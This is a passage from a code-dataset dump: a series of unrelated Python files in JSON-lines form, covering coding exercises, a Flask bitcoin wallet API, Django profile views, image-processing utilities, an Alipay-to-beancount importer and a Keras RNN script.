[x[0][0] for x in fake_caps_and_lens_lst]\n    fake_caps_lens_lst = [x[1][0] for x in fake_caps_and_lens_lst]\n    neg_output = net((caps, caplens[0]), (torch.stack(fake_caps_lst), torch.tensor(fake_caps_lens_lst)))\n    pred2 = torch.argmax(neg_output).item()\n\n    sen1 = ' '.join([rev_word_map[x] for x in caps[0].cpu().detach().numpy()[:list(caps[0]).index(0)]][1:-1])\n    sen2 = ' '.join([rev_word_map[x] for x in torch.stack(fake_caps_lst)[0].cpu().detach().numpy()[:list(torch.stack(fake_caps_lst)[0]).index(0)]][1:-1])\n    print('sen1: {}\\nsen2: {}\\ngt: {}\\npred: {}'.format(sen1, sen2, False, pred2))\n\n    if pred == 1:\n        g=0\n    if pred2 == 0:\n        g=0\n\nl = 0\n","repo_name":"gallev898/IC_NLI","sub_path":"local_evaluation/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":3830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"18245122608","text":"# https://leetcode.com/problems/delete-node-in-a-linked-list/\n# Time complexity: O(n)\n# Space complexity: O(1)\n\n# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.next = None\n\nclass Solution:\n    def deleteNode(self, node, n):\n        \"\"\"\n        :type node: ListNode\n        :rtype: void Do not return anything, modify node in-place instead.\n        \"\"\"\n        while node.val != n:\n            node = node.next\n        node.val = node.next.val\n        node.next = node.next.next\n        return\n","repo_name":"zihuaweng/leetcode-solutions","sub_path":"leetcode_python/237.Delete_Node_in_a_Linked_List.py","file_name":"237.Delete_Node_in_a_Linked_List.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"22270094203","text":"def rendu(somme_a_rendre):\n\tn = [0,0,0]\n\tpieces = [5,2,1]\n\tsomme = 0\n\tfor i in range(len(pieces)):\n\t\twhile somme+pieces[i] <= somme_a_rendre:\n\t\t\tsomme += pieces[i]\n\t\t\tn[i] += 1\n\treturn n\n\ndef main():\n\tprint(rendu(13))\n\tprint(rendu(64))\n\nmain()\n","repo_name":"victordalet/nsi_terminal","sub_path":"ece/s13/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"283672418","text":"from nono.db_factory import DBFactory\nfrom nono.base import process_request\n\nconn = DBFactory()\n\nurl = '''http://XXXX.sit.com/XXXX-XXXX/ass/handleDebtOperationLog'''\n\ndef fetch_dea_list():\n    dea_sql = '''SELECT va_id, bo_id, seri_no, id FROM debt_exchange_account dea where va_id  not in (0,23665) and status = 3 and \n                  not exists (SELECT 1 from XXXX_debt_operation_log ol where dea.id = ol.dea_id  and ol.status  in (1,0)); '''\n    dea_result = conn.query_with_tuple(dea_sql)\n    if len(dea_result) == 0:\n        return None\n    ex_dea_list = filter(is_bo_not_in_pay, dea_result)\n    return ex_dea_list\n\n\ndef is_bo_not_in_pay(item):\n    ba_sql = '''select 1 from XXXX_borrows_accept_unpaid where va_id = %s and bo_id=%s and  seri_no=%s and is_pay = 2;'''\n    va_id = item[0]\n    bo_id = item[1]\n    seri_no = item[2]\n    ba_result = conn.query(ba_sql, (va_id, bo_id, seri_no))\n    if len(ba_result) == 0:\n        return True\n    return False\n\n\ndef process_dea_repair():\n    dea_list = fetch_dea_list()\n    if dea_list is None:\n        return\n    param_list = map(map_param, dea_list)\n    for param in param_list:\n        process_request(url, param)\n\n\ndef map_param(dea_item):\n    dea_id = dea_item[3]\n    debt_log = '''select trans_id as transId from XXXX_debt_operation_log where dea_id = %s and status = 10 order by id desc limit 1 '''\n    result_item = conn.query_one(debt_log, (dea_id, ))\n    result_item['deaId'] = dea_id\n    result_item['type'] = 2\n    return result_item\n\nif __name__ == '__main__':\n    process_dea_repair()","repo_name":"Justices/pythonDemo","sub_path":"nono/ba_repair/dea_status_repaire.py","file_name":"dea_status_repaire.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"69966017423","text":"from PIL import Image, ImageDraw, ImageFont, ImageFilter\n\nfrom src.Resource import resource, conf\n\nRGB_TEXT = (255, 255, 255)\n\nclass AlbumCoverGenerator:\n    \"\"\"\n    专辑图片生成\n    \"\"\"\n    def __init__(self):\n        self.resource = resource()\n        self.img = Image.open(self.resource.image_file_path) # 将打开的图片缩放尺寸到1280*1280\n        self.img = self.img.resize((1280, 1280), Image.ANTIALIAS)\n\n    def draw_text(self, text, position, font, color, outline_color, outline_width):\n        draw = ImageDraw.Draw(self.img)\n        x, y = position\n        # 绘制文本的阴影\n        draw.text((x - 1, y - 1), text, fill=color, font=font, stroke_width=outline_width, stroke_fill=outline_color)\n        draw.text((x + 1, y + 1), text, fill=color, font=font, stroke_width=outline_width, stroke_fill=outline_color)\n        # 绘制文本\n        draw.text(position, text, fill=color, font=font)\n\n\n    def add_image_surface(self):\n        background = Image.new('RGB', (700, 700), (255, 255, 255))\n        self.img.paste(background, (334, 190))\n        surface = Image.open(self.resource.image_file_path)\n        surface = surface.resize((668, 668))\n        self.img.paste(surface, (350, 206))\n\n\n    def generate_album_cover(self):\n        \n        width, height = self.img.size\n\n        # 计算放大比例\n        if width < 1080:\n            scale = 1080 / width\n        else:\n            scale = 1\n        while width * scale < 2440 or height * scale < 1080:\n            scale += 0.1\n\n        # 缩放图片\n        new_width = int(width * scale)\n        new_height = int(height * scale)\n        self.img = self.img.resize((new_width, new_height))\n\n        # 裁剪图片\n        left = (new_width - 2440) / 2\n        top = (new_height - 1080) / 2\n        right = left + 2440\n        bottom = top + 1080\n        self.img = self.img.crop((left, top, right, bottom))\n        self.img = self.img.filter(ImageFilter.GaussianBlur(radius=42))\n\n        # 添加你的专辑封面\n        self.add_image_surface()\n\n        # 添加文本\n        font_large = ImageFont.truetype(self.resource.font, conf['AlbumCover']['FONT_SIZE_LARGE'])\n        font_small = ImageFont.truetype(self.resource.font, conf['AlbumCover']['FONT_SIZE_SMALL'])\n        outline_color = (0, 0, 0)\n        outline_width = 3\n        assert type(self.resource.title) is str, \"专辑标题异常，请手动填写专辑信息\"\n        assert type(self.resource.artist) is str, \"专辑艺术家异常，请手动填写专辑信息\"\n        assert type(self.resource.album) is str, \"专辑名称异常，请手动填写专辑信息\"\n        self.draw_text(self.resource.title, (1152, 240), font_large, RGB_TEXT, outline_color, outline_width)\n        self.draw_text(self.resource.artist, (1152, 450), font_small, RGB_TEXT, outline_color, outline_width)\n        self.draw_text(self.resource.album, (1152, 540), font_small, RGB_TEXT, outline_color, outline_width)\n\n        # 保存图像\n        self.img.save(self.resource.pic_savepath, \"PNG\")\n        # 显示图像\n        self.img.show()","repo_name":"IamK77/ffmpeg_py","sub_path":"src/AlbumCoverGenerator.py","file_name":"AlbumCoverGenerator.py","file_ext":"py","file_size_in_byte":3077,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"17917192777","text":"class Solution:\n    def printVertically(self, s: str) -> List[str]:\n\n        vertcial_words = []\n        max_size = 0\n        s = s.split()\n\n        # Find the maximum size\n        for word in s:\n            max_size = max(max_size, len(word))\n        \n        # Append each letter by vertically scanning s\n        for index in range(max_size):\n\n            vertical = []\n\n            for word in s:\n\n                size = len(word)\n\n                if index < size:\n                    vertical.append(word[index])\n                \n                else:\n                    vertical.append(\" \")\n\n            vertical = \"\".join(vertical)\n\n            # Remove trailing spaces\n            vertical = vertical.rstrip()\n            \n            vertcial_words.append(vertical)\n        \n        return vertcial_words","repo_name":"kira-1011/A2SV","sub_path":"vertical.py","file_name":"vertical.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"41049282790","text":"import vehicle, map, AI\n\nwon=0\nlost=0\n\ndef apply_action(v,action):\n    acceleration=0\n    angle_difference=0\n    if 'U' in action:\n        v.acceleration=8\n    if 'B' in action:\n        v.acceleration=-4\n    if 'L' in action:\n        angle_difference=1\n    if 'R' in action:\n        angle_difference=-1\n    v.angle += angle_difference*v.getSpeed()/3\n    v.move()\n\ndef calculateReward(v,m):\n    reward = -1\n    global lost\n    global won\n    if m.positionIsGoal((v.x,v.y)):\n        won = won + 1\n        reward = 100\n    if not m.positionIsValid((v.x,v.y)):\n        lost= lost+1\n        return -100\n    return reward\n\ndef gameIsOver(v,m):\n    return not m.positionIsValid((v.x,v.y)) or m.positionIsGoal((v.x,v.y))\n","repo_name":"MatVALL/Vehicle","sub_path":"genetic/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20113324829","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\ndef ploting(datax, datay, model,model_2,num_examples=6):\n    fig, ax = plt.subplots(nrows=num_examples, ncols=4, figsize=(18,4*num_examples))\n    m = datax.shape[0]\n    for row_num in range(num_examples):\n        image_indx = np.random.randint(m)\n        image_arr = model(datax[image_indx:image_indx+1]).squeeze(0).detach().cpu().numpy()\n        image_arr_nested = model_2(datax[image_indx:image_indx+1]).squeeze(0).detach().cpu().numpy()       \n        ax[row_num][0].imshow(np.transpose(datax[image_indx].cpu().numpy(), (1,2,0))[:,:,0])\n        ax[row_num][0].set_title(\"Orignal Image\")\n        ax[row_num][1].imshow(np.squeeze((image_arr > 0.40)[0,:,:].astype(int)))\n        ax[row_num][1].set_title(\"Segmented Image localization, Unet\")\n        ax[row_num][2].imshow(np.squeeze((image_arr_nested > 0.40)[0,:,:].astype(int)))\n        ax[row_num][2].set_title(\"Segmented Image localization, Unet++\")\n        ax[row_num][3].imshow(np.transpose(datay[image_indx].cpu().numpy(), (1,2,0))[:,:,0])\n        ax[row_num][3].set_title(\"Target image\")\n    plt.show()","repo_name":"jhxu140/UNet-Architectures-on-Nuclei-Images","sub_path":"ploting_result.py","file_name":"ploting_result.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27955124063","text":"import io\nimport sys\nimport os\nfrom common import *\nfrom dotenv import load_dotenv\n\ndef parse_alipay(filename):\n    account = \"Liabilities:CreditCard:CITIC\"\n    account_alipay = \"Assets:VirtualCard:Alipay:ZZS\"\n# 交易号 ,商家订单号 ,交易创建时间 ,付款时间 ,最近修改时间 ,交易来源地 ,类型 ,交易对方 ,商品名称 ,金额（元） ,收/支 ,交易状态 ,服务费（元） ,成功退款（元） ,备注,资金状态 ,\n\n    with open(filename, 'r', encoding=\"gbk\") as f:\n        for line in f.readlines()[5:-8]:\n            line = line.strip()\n            data = line.split(',')\n\n            date = data[2].split(' ')[0] # 付款时间\n            counterpart = data[7].strip() # 交易对方\n            description = data[8].strip() # 商品名称\n            currency = \"CNY\"\n            money_status = data[15].strip()\n            amount = float(data[9])\n            if money_status == \"资金转移\": # 资金状态\n                if data[11] == \"还款成功\":\n                    print(\"还款成功\")\n                    print(line)\n                elif data[11] == \"交易成功\" and description == \"余额宝-自动转入\":\n                    continue\n                else:\n                    print(line)\n            elif money_status == \"已支出\":\n                print(get_notsure(date, counterpart, description, amount, currency, account))\n            elif money_status == \"已收入\":\n                if \"余额宝\" in description:\n                    print(get_yuebao(date, description, amount, currency, account_alipay))\n                elif data[11].strip() == \"退款成功\": # 退款\n                    print(get_notsure(date, counterpart, description, -1 * amount, currency, account))\n                else: # 二手\n                    print(sell_something(date, description, amount, currency, account_alipay))\n                    print(line)\n            elif data[11].strip() == \"交易关闭\": # 交易状态\n                continue\n            else:\n                print(line)\n\nif __name__ == '__main__':\n    sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')\n    load_dotenv()\n    alipay_path = os.getenv(\"ALIPAYPATH\")\n    parse_alipay(alipay_path)","repo_name":"zhangzhishan/beancount_importer","sub_path":"convert_alipay.py","file_name":"convert_alipay.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"47"}
{"seq_id":"865236961","text":"#큐 구현\n\n# 고정크기 큐 구현(포인터를 활용해 보겟음)\nqueue = [None] *3\nptr = 0\n\ndef enqueue(item):\n  global ptr\n  queue[ptr] = item\n  ptr = ptr + 1\n\ndef dequeue():\n  global ptr\n  pop_left = queue[0]\n\n  #[1,2] ptr = 2 \n  for i in range(ptr-1):\n    queue[i] = queue[i+1]\n  ptr = ptr -1\n  queue[ptr] = None\n\n  return pop_left\n\nenqueue(1)\nenqueue(2)\nenqueue(3)\nprint(queue)\ndequeue()\nprint(queue)\nprint(ptr)\n\n","repo_name":"markchck/coding_test","sub_path":"python/2week/10828/11. 10828고정크기 큐.py","file_name":"11. 10828고정크기 큐.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"8195992767","text":"def diferencia21(a,b):\r\n  global diferencia\r\n  val1=True\r\n  val2=True\r\n  if b == 21:\r\n      val2 = True\r\n  elif b == 20:\r\n      val2 = False\r\n  if a==int:\r\n     val1 = True\r\n  elif a==str or a== float:\r\n      val1=False\r\n      print(\"Incorrecto, has ingresado un decimal, por favor ingresa un entero:\")\r\n      consignas()\r\n  #else:\r\n   #   val1=False\r\n    #  print(\"Incorrecto, has ingresado un texto, por favor ingresa un entero:\")\r\n     # consignas()\r\n\r\n  if val1 and val2:\r\n    if b>a :\r\n       cond1=b-a\r\n       diferencia=(cond1)\r\n    elif b==a:\r\n  #elif val1 and val2 and a==b:\r\n      diferencia=(0)\r\n    return print(\"Su resultado es: \",diferencia)\r\n\r\ndef consignas():\r\n    consigna1 =int(input(\"Ingresa un valor entero:\"))\r\n    b = 21\r\n    diferencia21(consigna1,b)\r\nconsignas()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"juannma03/TP1","sub_path":"EJ 4-TP1-MICHAUX.py","file_name":"EJ 4-TP1-MICHAUX.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"74258919822","text":"\"\"\"\nflask app handle bitcoin wallet\ncan add remove addresses, and sync data for them(transactions, balance)\n\"\"\"\n\nimport os\n\nfrom dotenv import load_dotenv\nfrom flask import Flask, request\n\nfrom db_methods.init_tables import init_method\nfrom db_methods.queries_methods import add_address_to_db, remove_address_from_db, sync_addresses_in_db\n\nload_dotenv()\napp = Flask(__name__)\n\n\n@app.route('/api/v1/<address>', methods=[\"POST\"])\ndef add_address(address):\n    \"\"\"\n    add bitcoin address to wallet\n    @param address: bitcoin address\n    @type address: str\n    @rtype: str\n    \"\"\"\n    if request.method == 'POST':\n        add_address_to_db(address)\n        return \"success\"\n\n    return \"nothing saved to db\"\n\n\n@app.route('/api/v1/<address>/remove', methods=[\"POST\"])\ndef remove_address(address):\n    \"\"\"\n    remove bitcoin address from wallet\n    @param address: bitcoin address\n    @type address: str\n    @rtype: str\n    \"\"\"\n    if request.method == 'POST':\n        remove_address_from_db(address)\n        return \"success\"\n\n    return \"nothing saved to db\"\n\n\n@app.route('/api/v1/sync', methods=[\"POST\"])\ndef sync_addresses():\n    \"\"\"\n    sync addresses last transaction and balance\n    @rtype: str\n    \"\"\"\n    if request.method == 'POST':\n        sync_addresses_in_db()\n\n    return \"success\"\n\n\nif __name__ == \"__main__\":\n    port = int(os.getenv('FLASK_PORT', 5000))\n    init_method()\n    app.run(debug=True, host=\"0.0.0.0\", port=port)\n","repo_name":"nesizagury/coinWallet","sub_path":"view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"71981432143","text":"\n\nimport glob\nimport numpy as np\nimport sys\nimport os.path\nimport os\nimport random\n\nfrom PIL import Image\n\nimport cv2\nimport time\nimport json \n\nimport multiprocessing.dummy as mp\n\n\nfrom ..library.class_tracklet import *\nfrom ..library.parallel_save import *\n\n\n\n\ndef is_into(min, value, max):\n    return min<=value and value<=max\n\ndef box1_into_box2(boxA, boxB):\n    xA0 = int(boxA[0])\n    yA0 = int(boxA[1])\n    xA1 = int(boxA[2])\n    yA1 = int(boxA[3])\n    xB0 = int(boxB[0])\n    yB0 = int(boxB[1])\n    xB1 = int(boxB[2])\n    yB1 = int(boxB[3])\n    #A into B\n    if is_into(xB0,xA0,xB1) and is_into(xB0,xA1,xB1):\n        if is_into(yB0,yA0,yB1) and is_into(yB0,yA1,yB1):\n            return True\n    return False\n\n\n# bb_IOU (Intersection Over Union) output values between 0 and 1\ndef bb_IOU(boxA, boxB):\n    if box1_into_box2(boxA,boxB) or box1_into_box2(boxB,boxA):\n        return 1\n    xA = max(int(boxA[0]), int(boxB[0]))\n    yA = max(int(boxA[1]), int(boxB[1]))\n    xB = min(int(boxA[2]), int(boxB[2]))\n    yB = min(int(boxA[3]), int(boxB[3]))\n \n    interArea = max(0, xB - xA + 1) * max(0, yB - yA + 1)\n \n    boxAArea = (int(boxA[2]) - int(boxA[0]) + 1) * (int(boxA[3]) - int(boxA[1]) + 1)\n    boxBArea = (int(boxB[2]) - int(boxB[0]) + 1) * (int(boxB[3]) - int(boxB[1]) + 1)\n    iou = interArea / float(boxAArea + boxBArea - interArea)\n    return iou\n\n\n\n# find_biggest_id find the biggest ID\ndef max_id(initBoundingBox):\n    tmp = int(-999)\n    for u_id in initBoundingBox.keys():\n        if int(u_id) > int(tmp):\n            tmp = u_id\n    return int(tmp)\n\n\n\n\ndef setbox2str(bbox):\n    return str(int(bbox[1]))+'_'+str(int(bbox[3]))+'_'+str(int(bbox[0]))+'_'+str(int(bbox[2]))\n    # return str(int(bbox[1]))+','+str(int(bbox[3]))+','+str(int(bbox[0]))+','+str(int(bbox[2]))\n\n\n\ndef create_path_crop(dir_gallery, key, save_separate=False):\n    base_path =''\n    if save_separate:\n        base_path = join_path(dir_gallery, str(key))\n        create_dir(base_path, show_msg=False)\n    else:\n        base_path = dir_gallery\n    return base_path\n\ndef crop_frame(frame, bbox):\n    # frame is type numpy array (imagen RGB) \n    # bbox is a list = [x0,y0, x1,y1]   \n    return frame[y0:y1, x0,x1] \n\n\n\n","repo_name":"luigy-mach/TrADe","sub_path":"tracklet/utils_tracklet/bbox.py","file_name":"bbox.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"31466857275","text":"from allauth.account.models import EmailAddress\n\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.models import User\nfrom django.core.mail import send_mail\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.urlresolvers import reverse_lazy, reverse\nfrom django.db.models import Q \nfrom django.shortcuts import render, get_list_or_404, get_object_or_404, Http404\nfrom django.views.generic import (\n    CreateView, ListView, \n    UpdateView, DeleteView, \n    DetailView, RedirectView,)\nfrom django.utils import timezone\n\nfrom quests.models import UserProfileImage, Quest\n\nfrom .models import (\n    Education, WorkExperience,\n    DefuseMessage, ContactUs)\nfrom .forms import (\n    EducationForm, WorkExperienceForm,\n    SendMessageForm, ContactUsForm,\n    ReplyForm)\nfrom .mixins import CheckingUserPermissionMixin, UserExperiencePermissionMixin\n\n# Create your views here.\n\n\nclass ContactUsFormView(CreateView):\n    '''contact form'''\n    model = ContactUs\n    form_class = ContactUsForm\n    success_url = reverse_lazy('homepage')\n\n\n@login_required\ndef profile_list_view(request):\n    \"\"\"A page where users can view their own profile\"\"\"\n    user = get_object_or_404(User, username=request.user.username)\n    email = get_object_or_404(EmailAddress, user=user, primary=True)\n    profile_img = get_object_or_404(UserProfileImage, user=user)\n    experience = ''\n\n    try:\n        experience = get_list_or_404(WorkExperience, user=user)\n    except:\n        pass\n\n    context = {\n        'user': user,\n        'email': email,\n        'experiences': experience,\n        'profile_img': profile_img,\n    }\n\n    return render(request, 'profiles/profile_list.html', context)\n\n\n@login_required\ndef user_quest_list_view(request):\n    \"\"\"A page where users can view their collection of quests\"\"\"\n    user_quest_list = ''\n\n    try:\n        user_quest_list = Quest.objects.filter(user=request.user, explosion_datetime__gte=timezone.now())\n        user_quest_list_count = user_quest_list.count()\n        all_quest = Quest.objects.all()\n        defused_quests = all_quest.filter(interested_users=request.user)\n        defused_quests_count = defused_quests.count()\n    except ObjectDoesNotExist:\n        msg = \"No quest\"\n        raise ObjectDoesNotExist(msg)\n\n    context = {\n        'list': user_quest_list,\n        'count': user_quest_list_count,\n        'def_quests': defused_quests,\n        'def_quest_count': defused_quests_count,\n    }\n    return render(request, 'profiles/user_quest_list.html', context)\n\n\n@login_required\ndef user_dashboard(request):\n    \"\"\"User dashboard\"\"\"\n    profile_pic = UserProfileImage.objects.get(user=request.user)\n    received = DefuseMessage.objects.filter(\n        receiver=request.user, viewed_by_receiver=False, trash_by_receiver=False).count()\n    template_name = 'profiles/user_dashboard.html'\n    context = {\n        'profile_pic': profile_pic,\n        'new': received,\n    }\n    return render(request, template_name, context)\n\n\nclass MessageInboxView(LoginRequiredMixin, ListView):\n    \"\"\"Message Inbox page\"\"\"\n    model = DefuseMessage\n    context_object_name = 'messages'\n    template_name = 'profiles/inbox_pages.html'\n\n    def get_context_data(self, *args, **kwargs):\n        # for each in context['sender']:\n        #     each_reply_count = each.replies.all()\n        #     print(each_reply_count)\n        #     count_unread = [unread for unread in each_reply_count if unread.viewed_by_receiver == False]\n        #     print(len(count_unread))\n        context = super().get_context_data(*args, **kwargs)\n        every_message = DefuseMessage.objects.prefetch_related('replies')\n        unread_count, created_unread_count = {}, {}\n        context['receiver'] = every_message.filter(\n            receiver=self.request.user, trash_by_receiver=False, parent__isnull=True).order_by('-send_at')\n        for each in context['receiver']:\n            unread_count[each.id] = each.replies.all().filter(\n                receiver=self.request.user, viewed_by_receiver=False).count()\n        context['unread_count'] = unread_count\n        context['total_count'] = sum(unread_count.values())\n        context['sender'] = every_message.filter(\n            sender=self.request.user, trash_by_sender=False, parent__isnull=True).order_by('-send_at')\n        for each in context['sender']:\n            created_unread_count[each.id] = each.replies.all().filter(\n                receiver=self.request.user, viewed_by_receiver=False).count()\n        context['created_unread_count'] = created_unread_count\n        context['created_unread_total_count'] = sum(created_unread_count.values())       \n        return context\n\n\nclass MessageDetailView(LoginRequiredMixin, CheckingUserPermissionMixin, DetailView):\n    \"\"\"message detail\"\"\"\n    template_name = 'profiles/defusemessage_detaill.html'\n    model = DefuseMessage\n    context_object_name = 'message'\n\n    def get_context_data(self, *args, **kwargs):\n        context = super().get_context_data(*args, **kwargs)\n        particular_message = get_object_or_404(DefuseMessage, pk=self.kwargs['pk'])\n        context['sender_email'] = get_object_or_404(EmailAddress, user=particular_message.sender)\n        context['sender_profile'] = get_object_or_404(UserProfileImage, user=particular_message.sender)\n        context['receiver_profile'] = get_object_or_404(UserProfileImage, user=particular_message.receiver)\n        context['quest'] = get_object_or_404(Quest, slug=particular_message.related_quest.slug)\n        context['children'] = particular_message.replies.all().order_by('send_at')\n        context['reply_form'] = ReplyForm()\n        context['create_url'] = reverse('dashboard:message_reply', kwargs={'pk': particular_message.pk})\n        context['interested_url'] = reverse('dashboard:interested_message_reply', kwargs={'pk': particular_message.pk})\n        return context\n\n    def get(self, request, *args, **kwargs):\n        self.object = self.get_object()\n        context = self.get_context_data(object=self.object)\n        current_user = get_object_or_404(User, username=self.request.user.username)\n        particular_message = get_object_or_404(DefuseMessage, pk=self.kwargs['pk'])\n        replies = DefuseMessage.objects.filter(parent=particular_message)\n        if self.object.receiver == current_user:\n            self.object.read_by_receiver()\n            print(self.object)\n        for reply in replies:\n            if reply.receiver == current_user:\n                reply.read_by_receiver()\n        return self.render_to_response(context)\n\n\nclass MessageDelete(LoginRequiredMixin, CheckingUserPermissionMixin, RedirectView):\n    \"\"\"delete message button\"\"\"\n    def get_redirect_url(self, *args, **kwargs):\n        msg_pk = self.kwargs.get('pk')\n        msg = get_object_or_404(DefuseMessage, pk=msg_pk)\n        msg_sender = get_object_or_404(User, username=msg.sender.username)\n        msg_receiver = get_object_or_404(User, username=msg.receiver.username)\n        url_ = reverse_lazy(\"dashboard:message_inbox\")\n        user = self.request.user\n        if user.is_authenticated():\n            if msg_sender == user:\n                if not msg.trash_by_sender:\n                    msg.trash_by_sender = True\n                    msg.save()\n            elif msg.receiver == user:\n                if not msg.trash_by_receiver:\n                    msg.trash_by_receiver = True\n                    msg.save()\n            else:\n                Http404\n        return url_\n\n\nclass SentPageMessageReply(LoginRequiredMixin, CreateView):\n    \"\"\"Reply to a specific message\"\"\"\n    # can't think straight today just gonna be lazy and not think too much about it\n    form_class = ReplyForm\n    # success_url = reverse_lazy(\"dashboard:message_detail\", kwargs={'pk': })\n\n    def form_valid(self, form):\n        particular_message = get_object_or_404(DefuseMessage, pk=self.kwargs['pk'])\n        receiver = get_object_or_404(User, username=particular_message.receiver.username)\n        quest = get_object_or_404(Quest, slug=particular_message.related_quest.slug)\n        self.object = form.save(commit=False)\n        self.object.sender = self.request.user\n        self.object.receiver = receiver\n        self.object.related_quest = quest\n        if particular_message.parent:\n            self.object.parent = particular_message.parent\n        else:\n            self.object.parent = particular_message\n        self.object.subject = \"Re: \" + particular_message.subject\n        self.object.save()\n        return super().form_valid(form)\n\n    def get_success_url(self):\n        if 'pk' in self.kwargs:\n            pk = self.kwargs['pk']\n        return reverse_lazy('dashboard:message_detail', kwargs={'pk': pk})\n\n\nclass InterestedPageMessageReply(LoginRequiredMixin, CreateView):\n    \"\"\"Reply to a specific message\"\"\"\n    form_class = ReplyForm\n\n    def form_valid(self, form):\n        particular_message = get_object_or_404(DefuseMessage, pk=self.kwargs['pk'])\n        receiver = get_object_or_404(User, username=particular_message.sender.username)\n        quest = get_object_or_404(Quest, slug=particular_message.related_quest.slug)\n        self.object = form.save(commit=False)\n        self.object.sender = self.request.user\n        self.object.receiver = receiver\n        self.object.related_quest = quest\n        if particular_message.parent:\n            self.object.parent = particular_message.parent\n        else:\n            self.object.parent = particular_message\n        self.object.subject = \"Re: \" + particular_message.subject\n        self.object.save()\n        return super().form_valid(form)\n\n    def get_success_url(self):\n        if 'pk' in self.kwargs:\n            pk = self.kwargs['pk']\n        return reverse_lazy('dashboard:message_detail', kwargs={'pk': pk})\n\n\nclass WorkExperienceCreateView(LoginRequiredMixin, CreateView):\n    \"\"\"adding experience to profile\"\"\"\n    model = WorkExperience\n    form_class = WorkExperienceForm\n    success_url = reverse_lazy(\"dashboard:my_profile\")\n\n    def form_valid(self, form):\n        self.object = form.save(commit=False)\n        self.object.user = self.request.user\n        self.object.save()\n        return super().form_valid(form)\n\n\nclass WorkExperienceUpdateView(LoginRequiredMixin, UserExperiencePermissionMixin, UpdateView):\n    \"\"\"updating an experience\"\"\"\n    template_name = 'profiles/workexperience_update_form.html'\n    model = WorkExperience\n    form_class = WorkExperienceForm\n\n\nclass WorkExperienceDeleteView(LoginRequiredMixin, UserExperiencePermissionMixin, DeleteView):\n    \"\"\"deleting an experience\"\"\"\n    model = WorkExperience\n    template_name = 'profiles/delete_experience.html'\n    success_url = reverse_lazy('dashboard:my_profile')\n","repo_name":"ChHeYo/explodingquests","sub_path":"profiles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32754406800","text":"\n# import packages\nimport math\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom tensorflow import keras\n\n# import pyspark\n# import findspark\n# import os\n# from pyspark import SparkContext\n\n# spark_location = '/spark'       # Set your own\n# java8_location = '/usr/lib/jvm/java-8-openjdk-amd64'  # Set your own\n# os.environ['JAVA_HOME'] = java8_location\n# findspark.init(spark_home=spark_location)\n# sc = SparkContext()\n\n# define parameters\nfilename = \"Eluvio_DS_Challenge.csv\"\nchunksize = 100000\ndictsize = 1000\nmaxlen = 30\nembedsize = 5\n\nfulldf = pd.read_csv(filename)#, nrows=chunksize)\n# create tokenizer object (convert words to integers)\ntokenizer = keras.preprocessing.text.Tokenizer(num_words=dictsize)\ntokenizer.fit_on_texts(fulldf[\"title\"])\n\n# build empty RNN model\nrnnmodel = keras.Sequential()\n# add embedding layer (convert integers to vectors)\nrnnmodel.add( keras.layers.Embedding(input_dim=dictsize, output_dim=embedsize, input_length=maxlen) )\n# add LSTM layer outputs at every time\nrnnmodel.add( keras.layers.LSTM(units=10, return_sequences=True, activation=\"sigmoid\") )\n# add LSTM layer outputs at every time\nrnnmodel.add( keras.layers.LSTM(units=10, return_sequences=True, activation=\"sigmoid\") )\n# add LSTM layer outputs at every time\nrnnmodel.add( keras.layers.LSTM(units=5, return_sequences=False, activation=\"sigmoid\") )\n# add fully connected layer to return 0/1\nrnnmodel.add( keras.layers.Dense(units=5, activation=\"relu\") )\n# add fully connected layer to return value\nrnnmodel.add( keras.layers.Dense(units=1) )\n# compile RNN model\nrnnmodel.compile(loss=\"mse\", optimizer=keras.optimizers.Adam(lr=1e-3))\n# check RNN model summary\nrnnmodel.summary()\n\n# read in dataframe in chunks\ni = 0\nfor df in pd.read_csv(filename, chunksize=chunksize):\n    print(\"reading chunk\", i)\n    i = i + 1\n\n    # pre-process data (df_x, df_y)\n    # tokenize words to integers by pre-defined tokenizer\n    df_token = tokenizer.texts_to_sequences(df[\"title\"])\n    # 